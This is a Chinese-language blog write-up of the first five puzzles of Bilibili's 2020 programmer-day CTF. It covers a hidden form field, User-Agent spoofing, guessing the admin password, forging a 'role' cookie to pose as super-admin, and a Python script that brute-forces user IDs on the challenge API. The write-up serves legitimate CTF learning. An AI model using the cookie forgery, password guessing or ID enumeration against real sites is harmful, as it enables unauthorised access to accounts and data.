就在这个1024程序员节的今天,bilibili主页的topImg变成了1024程序员节主题

点进去发现了很多有趣的东西,这里是链接:https://www.bilibili.com/blackboard/activity-20201024.html

其中第二项名称为来自33的挑战状,进去发现似乎是一个解谜游戏。。

这个内容的鼻祖似乎是著名的蝉3301事件

在今年的6月份左右,b站上出现了一个up上传的解谜游戏视频:玩一次“程序员向”的互联网解谜游戏

在上次完全没有经验的情况下,我一项也没有通过

但是,这次的内容看了看似乎没有那么复杂,所以说我也决定挑战一番

那么,直接进入本番吧


第一题

题目

Title:页面的背后是什么?
题目地址: http://45.113.201.36/index.html

解题思路

进入到这个页面中之后,发现页面本身并没有什么特殊的线索

所以,我打开了控制台

然后一项一项地寻找

在控制台中找到了这样一项内容

1
<input id="flag1" type="hidden" values="flag1" value="********-********-********-********">

果断推测这个便是第一道题的答案

回到提交答案的页面:https://security.bilibili.com/sec1024/

题目ID位置写上题号1,在获取的flag位置写上上边获得的value,便成功啦

第二题

题目

Title:真正的秘密只有特殊的设备才能看到
题目地址: http://45.113.201.36/index.html

解题思路

进入到题目地址后,发现仍然是刚刚那个页面,那么说明这个页面似乎还有一些没有察觉到的线索

然后我发现代码中有一部分被注释下来了,并且名叫bg.png的文件没有加载出来

并且在js代码中发现了部分的ajax请求代码

尝试使用api获取图片,无果,直接访问api获取代码,无果

在经过很久的尝试之后,我突然发现我似乎忽略了题目名称这一线索

于是我开始尝试使用F12的不同设备进行尝试,页面依然无法显示

那就是说还有缺失的线索

在页面中,分析代码部分,flag2的位置明确写着了:需要使用bilibili Security Browser浏览器访问~

我最开始真的以为bilibili出浏览器了

google了一下之后发现并没有,于是我想到了一个叫做User Agent(用户代理)的东西

这个一般是作为浏览器标头请求页面时候传递给服务器的

如果可以模拟一下这个,是不是就可以了呢

抱着试一试的心态,在chrome中加了一个自定义的设备,User Agent位置填写的就是bilibili Security Browser

刷新页面,果然,代码被自动请求了出来,直接复制粘贴过去就可以了。

第三题

题目

Title:密码是啥?
题目地址: http://45.113.201.36/login.html

解题思路

进入到题目地址后,发现是一个登陆页面

首先来说是管理员账户登录,那么用户名大概应该可能是admin

然后就是密码的问题。。一个一个实验肯定是不太现实

那么就只能是想比较有可能的密码

程序员会用什么密码? bilibili干杯?administrator?root?sudo?

想不出来。。那就只能和bilibili有关了hhhhhh

试了下bilibili

嗯!

username:admin
passwd:bilibili

第四题

题目

Title:对不起,权限不足~
题目地址: http://45.113.201.36/superadmin.html

解题思路

在js代码中,有着这样的ajax请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$.ajax({
url: "api/ctf/4",
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~答案是 : {{ " + data.data + " }}".toLowerCase() )
} else {
// 如果没值
$('#flag').html("有些秘密只有超级管理员才能看见哦~")
}
}
})

也就是说需要在请求的时候让服务器认为我们是超级管理员

什么是超级管理员呢?

应该是Administrator吧,并且应该不会直接是明文,那么大概率应该是MD5(因为我写的网站加密都会直接用MD5 ww

最后加密的结果就是:7b7bc2512ee1fedcd76bdc68926d4f7b

然后就要把这个结果告诉浏览器,怎么告诉呢?

自然是设置cookies了

打开开发者面板后,在控制台输入 document.cookies

看下返回的结果是什么

1
_ga=GA1.1.768336743.1603526873; _gid=GA1.1.1116535084.1603526873; role=a"

前两个无关紧要,那么最可疑的就是最后一个role

那么就对这个下手,在控制台输入下面代码

1
document.cookies="role=7b7bc2512ee1fedcd76bdc68926d4f7b"

回车,刷新页面

这个时候,页面上就会出现欢迎超级管理员登陆~答案是 : \{\{ ********-********-********-******** \}\}

我不写出来是因为这个每个人都不同,复制了也没有意义

第五题

题目

Title:别人的秘密
题目地址: http://45.113.201.36/user.html

解题思路

依然是进入开发者面板,发现如下js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$(function () {
(function ($) {
$.getUrlParam = function(name) {
var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
var r = window.location.search.substr(1).match(reg);
if (r != null) return unescape(r[2]); return null;
}
})(jQuery);

var uid = $.getUrlParam('uid');
if (uid == null) {
uid = 100336889;
}
$.ajax({
url: "api/ctf/5?uid=" + uid,
type: "get",
success:function (data) {
console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag').html("欢迎超级管理员登陆~flag : " + data.data )
} else {
// 如果没值
$('#flag').html("这里没有你想要的答案~")
}
}
})
});

那么这道题的方式应该就是直接向http://45.113.201.36/api/ctf/5?uid=请求结果了

问题就是uid到底是什么

暴力破解呗

本着能不造轮子就不造轮子的精神,在github上搜BunnySakura搜到了如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import re
from bs4 import BeautifulSoup


def get_html(url):
headers = {
'User-Agent': 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36',
"Cookie": "session=eyJ1aWQiOiI5MDI2NTM2In0.X5PhPw.IGoYu_C6IBoWhtebWJa1cVqMMoU; role=7b7bc2512ee1fedcd76bdc68926d4f7b" #cookie改成你自己的
} # 模拟浏览器访问
response = requests.get(url, headers=headers) # 请求访问网站
html = response.text # 获取网页源码
return html # 返回网页源码

url="http://45.113.201.36/api/ctf/5?uid="
f="200"

for i in range(100336889,100337300):
BeautifulSoup(get_html(url+str(i)), 'lxml') # 初始化BeautifulSoup库,并设置解析器
#print(get_html(url+str(i)))
if(re.search(f,str(get_html(url+str(i))))):
print("uid=",i,re.search(f,str(get_html(url+str(i)))))
print(get_html(url+str(i)))

上边代码中需要改成自己的cookie

具体位置在开发者面板中的Network,打开这个面板后刷新页面

在刷新出的请求下找到Nameuser.html的内容,单击后右边有一项叫做cookie的内容,如图

然后把session和role两部分内容都复制下来粘贴到上边代码的cookie位置

然后运行程序,输出结果如下

1
2
uid= 100336936 <re.Match object; span=(8, 11), match='200'>
{"code":200,"data":"********-********-********-********","msg":""}

(我不写出来是因为这个每个人都不同,复制了也没有意义)


以上,后面的真的一点思路也没有了,上边的内容也有一部分是看直播中大佬弹幕提示做出来的hhhhhh

又一次让自己明白了我确实很菜